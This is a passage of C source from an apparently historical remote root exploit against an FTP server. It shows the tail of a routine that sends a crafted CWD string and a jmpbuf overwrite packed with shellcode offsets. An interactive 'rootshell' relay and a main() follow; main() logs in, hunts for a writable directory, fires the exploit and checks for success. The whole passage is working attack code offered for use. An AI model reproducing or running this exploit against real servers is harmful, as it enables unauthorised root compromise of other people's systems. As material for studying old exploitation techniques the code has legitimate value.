1249 strcat (string, int2char (behind_errcatch)); /* LastArgv */
1250
1251 if (debug > 0)
1252 printf ("Sending final CWD\n");
1253
1254 if (strlen (string) < 20)
1255 err (0, "cwd string too short.. check for 0x0's.\n");
1256
1257 putserv ("CWD %s\n", string);
1258 getline ();
1259
1260/************ jmpbuf ***********/
1261
1262 if (debug > 0)
1263 printf ("Sending jmpbuf\n");
1264
1265 string[0] = 0;
1266 for (i=0; i<8; i++) /* (sizeof(jmpbuf) = 24)+8.. */
1267 strcat (string, int2char (shelloff));
1268
1269 if (strlen (string) != 32)
1270 err (0, "jmpbuf string too short.. check for 0x0's.\n");
1271
1272 putserv ("%s\n", string);
1273
1274 getline ();
1275
1276 return (1);
1277}
1278
1279/* shell
1280 *
1281 * provide a pseudo shell..
1282 *
1283 * return nothing
1284 */
1285void
1286shell (void)
1287{
1288 char buf[5120];
1289 int l;
1290 fd_set rfds;
1291
1292 printf("%sSpawning rootshell:%s\n", C_RED, C_NORM);
1293
1294 while (1) {
1295 FD_SET (0, &rfds);
1296 FD_SET (fd, &rfds);
1297
1298 select (fd+1, &rfds, NULL, NULL, NULL);
1299 if (FD_ISSET (0, &rfds)) {
1300 l = read (0, buf, sizeof (buf));
1301 if (l <= 0)
1302 cleanup_and_exit ();
1303 xwrite (fd, buf, l);
1304 }
1305
1306 if (FD_ISSET (fd, &rfds)) {
1307 l = read (fd, buf, sizeof (buf));
1308 if (l <= 0)
1309 cleanup_and_exit ();
1310 xwrite (1, buf, l);
1311 }
1312 }
1313}
1314
1315/* check_test_return
1316 *
1317 * Check if testcode sploiting was successfull.
1318 *
1319 * return 0 on failure
1320 * return 1 on success
1321 */
1322
1323int check_test_return(char *what, int len) {
1324 char line[1024];
1325 int i, flags;
1326 fd_set rset;
1327 struct timeval tv;
1328
1329 printf("w8ing for testshellcode to respond...\n");
1330 flags = fcntl(fd, F_GETFL, 0);
1331 if (fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0)
1332 err(1, "fcntl fucked up (testshellcode)");
1333
1334 FD_ZERO(&rset);
1335 FD_SET(fd, &rset);
1336
1337 tv.tv_sec = 10;
1338 tv.tv_usec = 0;
1339
1340 if (!select(fd + 1, &rset, NULL, NULL, &tv))
1341 err(0, "select timed out(testshellcode)");
1342
1343 i = read(fd, line, len);
1344 if (!strncmp(what, line, len)) {
1345 printf("%sSploit successfull!%s\n", C_RED, C_NORM);
1346 return(1);
1347 };
1348 printf("%sSploit not successfull!%s\n", C_RED, C_NORM);
1349 return(0);
1350}
1351
1352int
1353main (int argc, char **argv)
1354{
1355 int i;
1356 title ();
1357
1358 if (argc < 3)
1359 usage (argv[0]);
1360
1361 signal (SIGINT, (void *) &sighandler);
1362 signal (SIGQUIT, (void *) &sighandler);
1363
1364 parseargs (argc, argv);
1365
1366 printf("Connecting...\n");
1367 connect_to_ftp ();
1368
1369 log_into_ftp ();
1370 if (sptr->need_writable || tesopt.dirscanonly) {
1371 printf ("Logged in! Searching for a writable directory...\n");
1372 if (!recurse_writable())
1373 err (0, "kurwa mac! no writable dir found\n");
1374 } else {
1375 printf ("Logged in!\n");
1376 }
1377
1378 getpwd ();
1379 printf (" %s is writable.. rock on!\n", hostinf.pwd);
1380
1381 if (!tesopt.dirscanonly) {
1382 printf("Trying to sploit...\n");
1383 sptr->code();
1384 tesopt.testonly ? i = check_test_return("teso\n", 5) : shell();
1385 if (!i)
1386 printf ("sploiting not successfull\n");
1387 }
1388
1389 cleanup_and_exit();
1390 return (0); /* not reached */
1391}